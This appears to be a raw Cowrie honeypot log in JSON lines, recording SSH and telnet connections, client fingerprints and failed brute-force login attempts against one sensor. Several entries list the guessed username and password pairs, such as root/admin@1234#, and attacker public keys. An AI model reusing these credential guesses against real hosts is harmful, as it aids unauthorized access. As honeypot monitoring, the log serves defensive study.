{"eventid":"cowrie.session.closed","duration":39.23146438598633,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:55:06.384836Z","src_ip":"199.103.57.63","session":"704faa2c54c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":5309,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5c95ea8dca5","protocol":"ssh","message":"New connection: 193.24.211.100:5309 (159.203.135.109:22) [session: b5c95ea8dca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:55:10.099513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:55:10.110087Z","src_ip":"193.24.211.100","session":"b5c95ea8dca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:55:10.209833Z","src_ip":"193.24.211.100","session":"b5c95ea8dca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"operator","message":"login attempt [admin/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:55:10.638872Z","src_ip":"193.24.211.100","session":"b5c95ea8dca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:55:11.751038Z","src_ip":"193.24.211.100","session":"b5c95ea8dca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":11516,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fcecd0827f8","protocol":"ssh","message":"New connection: 165.154.36.71:11516 (159.203.135.109:22) [session: 2fcecd0827f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:55:14.617781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:55:14.629941Z","src_ip":"165.154.36.71","session":"2fcecd0827f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:55:14.702232Z","src_ip":"165.154.36.71","session":"2fcecd0827f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest2","password":"guest2","message":"login attempt [guest2/guest2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:55:15.020390Z","src_ip":"165.154.36.71","session":"2fcecd0827f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:55:16.095193Z","src_ip":"165.154.36.71","session":"2fcecd0827f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.198.232.31","src_port":15575,"dst_ip":"159.203.135.109","dst_port":23,"session":"08bd4032b937","protocol":"telnet","message":"New connection: 179.198.232.31:15575 (159.203.135.109:23) [session: 08bd4032b937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:56:12.812137Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":30176,"dst_ip":"159.203.135.109","dst_port":22,"session":"d24da3d2833f","protocol":"ssh","message":"New connection: 165.154.36.71:30176 (159.203.135.109:22) [session: d24da3d2833f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:56:21.499653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:56:21.505266Z","src_ip":"165.154.36.71","session":"d24da3d2833f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:56:21.574681Z","src_ip":"165.154.36.71","session":"d24da3d2833f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@1234#","message":"login attempt [root/admin@1234#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:56:21.862528Z","src_ip":"165.154.36.71","session":"d24da3d2833f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:56:22.936978Z","src_ip":"165.154.36.71","session":"d24da3d2833f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":48834,"dst_ip":"159.203.135.109","dst_port":22,"session":"8062d8412f17","protocol":"ssh","message":"New connection: 165.154.36.71:48834 (159.203.135.109:22) [session: 8062d8412f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:57:26.879581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:57:26.884265Z","src_ip":"165.154.36.71","session":"8062d8412f17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:57:26.962054Z","src_ip":"165.154.36.71","session":"8062d8412f17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ftpserv","message":"login attempt [ubuntu/ftpserv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:57:27.294674Z","src_ip":"165.154.36.71","session":"8062d8412f17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:57:28.378691Z","src_ip":"165.154.36.71","session":"8062d8412f17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01531910896301,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:58:12.827327Z","src_ip":"179.198.232.31","session":"08bd4032b937","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":12492,"dst_ip":"159.203.135.109","dst_port":22,"session":"332977de85f6","protocol":"ssh","message":"New connection: 165.154.36.71:12492 (159.203.135.109:22) [session: 332977de85f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:58:33.934929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:58:33.940862Z","src_ip":"165.154.36.71","session":"332977de85f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:58:34.011394Z","src_ip":"165.154.36.71","session":"332977de85f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali!@#","message":"login attempt [ali/ali!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:58:34.331304Z","src_ip":"165.154.36.71","session":"332977de85f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:58:35.415711Z","src_ip":"165.154.36.71","session":"332977de85f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.223.67.133","src_port":60452,"dst_ip":"10.17.0.5","dst_port":22,"session":"178f4902a609","protocol":"ssh","message":"New connection: 5.223.67.133:60452 (10.17.0.5:22) [session: 178f4902a609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:22.246174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:22.250932Z","src_ip":"5.223.67.133","session":"178f4902a609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:22.510113Z","src_ip":"5.223.67.133","session":"178f4902a609","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:cb:c3:38:13:e5:dc:28:9e:27:80:05:c2:12:43:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsWsVi79KZlR6oFR3unF0uVaNs16KM+6UcWGfMuWWYI68EackKytguLr2eD9Vmd6//kzQNa5iSdu/lDJFgTCf2buOqgpreUuSCxZbGzE8dGOwZ7R0IJ4rNcjXM6YILAjoj8wKF5/ZK+VyrxbZRcylFgJYUWvv7Agdcv7oTu+zEZvmDm1WkgxdXdRKDTlFEzaQIi+hjljfHxeMr6rJ8QhTrk6ogJk9Fq0J6UAwvImnONnXygCKQimq4blI+YTopPr+zZ6SDEHqFJuXE/8WQ05oPKYeq4Sm65IYiKWDy9khZmxz7EViZfVCzOKWYDOfpcNljghMRM84aYrFTvxY1+LjFAoCch6kMN3vmvGboiukv574RAGHJh6Xh8RTzpBfyvT0SfNOZmPlYQ8bZTyZddSo2T4gvHwM6xcixpkA/GxA5dBDuf9v3MQScjvdmKIRm7CXh48lUJTmy1Agm1bcwQzE3/O0FhHbkefsAODZ5WOKLVoe2B9TESubt5FKiRR5a27X/+T5qftb/QUI4mX0JZNB+0XRJpMISsdrr5wnYzmoSvQG0PiZAdadfWfxWn5KSEdSvCo6Z6SxenKn/yysWIgxv7vAAU+ezkuoKWplsHL2nkj5TTBDLHkStJbx7ujp91bQo7MvOcz3EMsB6IXUQ2EtxBaZzdbvFKDtSi626j+dWyQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:cb:c3:38:13:e5:dc:28:9e:27:80:05:c2:12:43:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:23.781986Z","src_ip":"5.223.67.133","session":"178f4902a609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:cb:c3:38:13:e5:dc:28:9e:27:80:05:c2:12:43:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsWsVi79KZlR6oFR3unF0uVaNs16KM+6UcWGfMuWWYI68EackKytguLr2eD9Vmd6//kzQNa5iSdu/lDJFgTCf2buOqgpreUuSCxZbGzE8dGOwZ7R0IJ4rNcjXM6YILAjoj8wKF5/ZK+VyrxbZRcylFgJYUWvv7Agdcv7oTu+zEZvmDm1WkgxdXdRKDTlFEzaQIi+hjljfHxeMr6rJ8QhTrk6ogJk9Fq0J6UAwvImnONnXygCKQimq4blI+YTopPr+zZ6SDEHqFJuXE/8WQ05oPKYeq4Sm65IYiKWDy9khZmxz7EViZfVCzOKWYDOfpcNljghMRM84aYrFTvxY1+LjFAoCch6kMN3vmvGboiukv574RAGHJh6Xh8RTzpBfyvT0SfNOZmPlYQ8bZTyZddSo2T4gvHwM6xcixpkA/GxA5dBDuf9v3MQScjvdmKIRm7CXh48lUJTmy1Agm1bcwQzE3/O0FhHbkefsAODZ5WOKLVoe2B9TESubt5FKiRR5a27X/+T5qftb/QUI4mX0JZNB+0XRJpMISsdrr5wnYzmoSvQG0PiZAdadfWfxWn5KSEdSvCo6Z6SxenKn/yysWIgxv7vAAU+ezkuoKWplsHL2nkj5TTBDLHkStJbx7ujp91bQo7MvOcz3EMsB6IXUQ2EtxBaZzdbvFKDtSi626j+dWyQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:23.786314Z","src_ip":"5.223.67.133","session":"178f4902a609","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:d7:2c:df:8b:dc:f8:c2:cb:dd:7d:62:a9:62:68:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCR76z9sa7z8X+B3EhrsvZZPHeg99V3ttuKR3GEHecST7/WKGzTVltRdVh1b+IHLPwvueIAMgL8vgSl4doi8Fm6hTFVxzyPMHdbROo3+QVQctx5SSOd7qGS2DGCn2l38Jh5Ph5ZK2rPcmdVDeGrlUi+O90O7JS++6Qo6hF+BhcaFz4ES+A6jMzjnrbXNyyXOblZ0Gym8EQ6dAQXbRuW0GBYY0E98Bcs301MexymLOSKeJjLACz+ZZ4iyKdN9GpvO+vzGuAfFtul+AjJMtyaN8Np3P9T1gENDCeZBb6XFeDKK5DQVkoczzEXOVjrRwMdFZgss2/x/cyXGhwGNPHtKvF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:d7:2c:df:8b:dc:f8:c2:cb:dd:7d:62:a9:62:68:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:24.039381Z","src_ip":"5.223.67.133","session":"178f4902a609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:d7:2c:df:8b:dc:f8:c2:cb:dd:7d:62:a9:62:68:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCR76z9sa7z8X+B3EhrsvZZPHeg99V3ttuKR3GEHecST7/WKGzTVltRdVh1b+IHLPwvueIAMgL8vgSl4doi8Fm6hTFVxzyPMHdbROo3+QVQctx5SSOd7qGS2DGCn2l38Jh5Ph5ZK2rPcmdVDeGrlUi+O90O7JS++6Qo6hF+BhcaFz4ES+A6jMzjnrbXNyyXOblZ0Gym8EQ6dAQXbRuW0GBYY0E98Bcs301MexymLOSKeJjLACz+ZZ4iyKdN9GpvO+vzGuAfFtul+AjJMtyaN8Np3P9T1gENDCeZBb6XFeDKK5DQVkoczzEXOVjrRwMdFZgss2/x/cyXGhwGNPHtKvF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:24.042971Z","src_ip":"5.223.67.133","session":"178f4902a609","protocol":"ssh"}
